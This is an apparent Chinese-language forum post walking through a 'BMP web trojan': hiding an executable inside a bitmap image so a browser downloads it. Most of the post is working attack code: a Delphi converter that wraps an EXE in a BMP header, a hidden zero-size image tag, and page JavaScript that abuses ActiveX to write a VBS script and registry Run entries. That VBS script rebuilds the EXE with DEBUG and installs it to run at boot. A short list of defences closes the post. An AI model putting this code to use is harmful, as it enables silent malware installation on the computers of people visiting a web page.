發新話題
打印

詳解 *.BMP 網頁圖片木馬

詳解 *.BMP 網頁圖片木馬

單純瀏覽網頁也會中毒!?沒錯!?別懷疑~這算是舊資訊了!

首先敘述這不是什麼新的東西,但最近有人說我們沒有,那就隨便寫編文章放上來了,大家自己試驗一下.
何謂BMP網頁木馬?它和過去早就用臭了的MIME頭漏洞的木馬不同,MIME木馬是把一個EXE檔案用MIME編碼為一個EML(OUTLOOK信件)檔案,放到網頁上利用IE和OE的編碼漏洞實作自動下載和執行.

然而BMP木馬就不同,它把一個EXE檔案偽裝成一個BMP圖片檔案,欺騙IE自動下載,再利用網頁中的JAVASCRIPT語法找到用戶端的Internet暫存檔案夾,找到下載後的BMP檔案,把它複製到TEMP目錄.再編寫一個語法把找到的BMP檔案用DEBUG還原成EXE,並把它放到註冊表啟動項中,在下一次開機時執行.

看上去好象很複雜,下面我們一步一步來:
EXE變BMP的方法.
大家自己去查查BMP檔案資料就會知道,BMP檔案的檔案頭有54個位元,簡單來說裡面包含了BMP檔案的長寬,位數,檔案大小,資料區長度,我們只要在EXE檔案的檔案頭前面加入相應的BMP檔案頭(當然BMP檔案頭裡面的資料要符合EXE檔案的大小啦),這樣就可以欺騙IE下載該BMP檔案,開始我們用JPG檔案做過試驗,發現如果檔案頭不正確的話,IE是不會下載的,轉換語法如下:

programexe2bmp;
uses
Windows,
SysUtils;
varlen,row,col,fs:DWORD;
buffer:array[0..255]ofchar;
fd:WIN32_FIND_DATA;
h,hw:THandle;
begin
if(ParamStr(1)<>'')and(ParamStr(2)<>'')thenbegin//如果執行後沒有兩個引數則結束
ifFileExists(ParamStr(1))thenbegin
FindFirstFile(Pchar(ParamStr(1)),fd);
fs:=fd.nFileSizeLow;
col:=4;
whiletruedobegin
if(fsmod12)=0thenbegin
len:=fs;
endelselen:=fs+12-(fsmod12);
row:=lendivcoldiv3;
ifrow>colthenbegin
col:=col+4;
endelseBreak;
end;
FillChar(buffer,256,0);

一下為BMP檔案頭資料:
Buffer[0]:='B';Buffer[1]:='M';
PDWORD(@buffer[18])^:=col;
PDWORD(@buffer[22])^:=row;
PDWORD(@buffer[34])^:=len;
PDWORD(@buffer[2])^:=len+54;
PDWORD(@buffer[10])^:=54;
PDWORD(@buffer[14])^:=40;
PWORD(@buffer[26])^:=1;
PWORD(@buffer[28])^:=24;

寫入:
hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READorFILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0);
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READorFILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);
WriteFile(hw,buffer,54,col,0);
repeat
ReadFile(h,buffer,256,col,0);
WriteFile(hw,buffer,col,col,0);
untilcol<>256;
WriteFile(hw,buffer,len-fs,col,0);
CloseHandle(h);
CloseHandle(hw);
end;
end;
end.

以上語法可以在DELPHI4,5,6中編譯,就可以得到一個exe2bmp.exe檔案.大家開啟MSDOS方式,輸入:
exe2bmpmyexe.exemybmp.bmp
就可以把第二個引數所指定的EXE檔案轉換成BMP格式.
接著就是把這個BMP圖片放到網頁上了,如果大家開啟過這張圖片的話,一定發現這張BMP又花,色彩又單調.所以大家放在網頁上最好用這樣的格式:
<imgsrd="mybmp.bmp"higth="0"width="0">

以下是放在網頁上的語法:
document.write('');
functiondocsave()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');
a.createInstance();
fso=a.GetObject();
varwinsys=fso.GetSpecialFolder(1);
varvbs=winsys+'\\s.vbs';
wsh.RegWrite
('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs','wscript'+'"'+vbs+'"');
varst=fso.CreateTextFile(vbs,true);
st.WriteLine('OptionExplicit');
st.WriteLine('DimFSO,WSH,CACHE,str');
st.WriteLine('SetFSO=CreateObject("Scripting.FileSystemObject")');
st.WriteLine('SetWSH=CreateObject("WScript.Shell")');
st.WriteLine('CACHE=wsh.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache")');
st.WriteLine('wsh.RegDelete("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs")');
st.WriteLine('wsh.RegWrite"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp.exe"');
st.WriteLine('SearchBMPFilefso.GetFolder(CACHE),"mybmp[1].bmp"');
st.WriteLine('WScript.Quit()');
st.WriteLine('FunctionSearchBMPFile(Folder,fname)');
st.WriteLine('DimSubFolder,File,Lt,tmp,winsys');
st.WriteLine('str=FSO.GetParentFolderName(folder)&"\\"&folder.name&"\\"&fname');
st.WriteLine('ifFSO.FileExists(str)then');
st.WriteLine('tmp=fso.GetSpecialFolder(2)&"\\"');
st.WriteLine('winsys=fso.GetSpecialFolder(1)&"\\"');
st.WriteLine('setFile=FSO.GetFile(str)');
st.WriteLine('File.Copy(tmp&"tmp.dat")');
st.WriteLine('File.Delete');
st.WriteLine('setLt=FSO.CreateTextFile(tmp&"tmp.in")');
st.WriteLine('Lt.WriteLine("rbx")');
st.WriteLine('Lt.WriteLine("0")');
st.WriteLine('Lt.WriteLine("rcx")');
st.WriteLine('Lt.WriteLine("1000")');
st.WriteLine('Lt.WriteLine("w136")');
st.WriteLine('Lt.WriteLine("q")');
st.WriteLine('Lt.Close');
st.WriteLine('WSH.Run"command/cdebug"&tmp&"tmp.dat<"&tmp&"tmp.in>"&tmp&"tmp.out",false,6');
st.WriteLine('OnErrorResumeNext');
st.WriteLine('FSO.GetFile(tmp&"tmp.dat").Copy(winsys&"tmp.exe")');
st.WriteLine('FSO.GetFile(tmp&"tmp.dat").Delete');
st.WriteLine('FSO.GetFile(tmp&"tmp.in").Delete');
st.WriteLine('FSO.GetFile(tmp&"tmp.out").Delete');
st.WriteLine('endif');
st.WriteLine('IfFolder.SubFolders.Count<>0Then');
st.WriteLine('ForEachSubFolderInFolder.SubFolders');
st.WriteLine('SearchBMPFileSubFolder,fname');
st.WriteLine('Next');
st.WriteLine('EndIf');
st.WriteLine('EndFunction');
st.Close();
}
setTimeout('docsave()',1000);

把該語法儲存為".js",在網頁中插入:
<scriptsrc="js.js"></script>

該語法主要會在您的電腦的SYSTEM目錄下產生一個“S.VBS”檔案,該語法檔案會在下次開機時自動執行。主要用於從臨時目錄中找出mybmp[1].bmp檔案。

“S.VBS”檔案主要內容如下:

OptionExplicit
DimFSO,WSH,CACHE,str
SetFSO=CreateObject("Scripting.FileSystemObject")
SetWSH=CreateObject("WScript.Shell")
CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Cache")
wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs")
wsh.RegWrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe"
SearchBMPFilefso.GetFolder(CACHE),"mybmp[1].bmp"
WScript.Quit()
FunctionSearchBMPFile(Folder,fname)
DimSubFolder,File,Lt,tmp,winsys
'從暫存檔案夾中尋找目標BMP圖片
str=FSO.GetParentFolderName(folder)&"\"&folder.name&"\"&fname
ifFSO.FileExists(str)then
tmp=fso.GetSpecialFolder(2)&"\"
winsys=fso.GetSpecialFolder(1)&"\"
setFile=FSO.GetFile(str)
File.Copy(tmp&"tmp.dat")
File.Delete
'產生一個DEBUG語法
setLt=FSO.CreateTextFile(tmp&"tmp.in")
Lt.WriteLine("rbx")
Lt.WriteLine("0")
Lt.WriteLine("rcx")
'下面一行的1000是十六進位,換回十進位是4096(該數位是你的EXE檔案的大小)
Lt.WriteLine("1000")
Lt.WriteLine("w136")
Lt.WriteLine("q")
Lt.Close
WSH.Run"command/cdebug"&tmp&"tmp.dat<"&tmp&"tmp.in>"&tmp&"tmp.out",false,6
OnErrorResumeNext
FSO.GetFile(tmp&"tmp.dat").Copy(winsys&"tmp.exe")
FSO.GetFile(tmp&"tmp.dat").Delete
FSO.GetFile(tmp&"tmp.in").Delete
FSO.GetFile(tmp&"tmp.out").Delete
endif
IfFolder.SubFolders.Count<>0Then
ForEachSubFolderInFolder.SubFolders
SearchBMPFileSubFolder,fname
Next
EndIf
EndFunction

這個語法會找出在暫存檔案夾中的BMP檔案,並產生一個DEBUG的語法,執行時會自動從BMP檔案54位元處讀去你指定大小的資料,並把它儲存到Tmp.dat中.後面的語法再把它複製到SYSTEM的目錄下.這個被還原的EXE檔案會在下次重起的時候執行.這就是BMP木馬的基本實作程序.

防範方法:
最簡單,移除或更名wscrpit.exe檔案和DEBUG檔案.
安裝有效的防毒軟體,因為這些語法有好多防毒軟體已經可以查出來了.
儘量避免去一些不名來歷的網站,不過目前就算是入口網站也是有一定的風險.

TOP

發新話題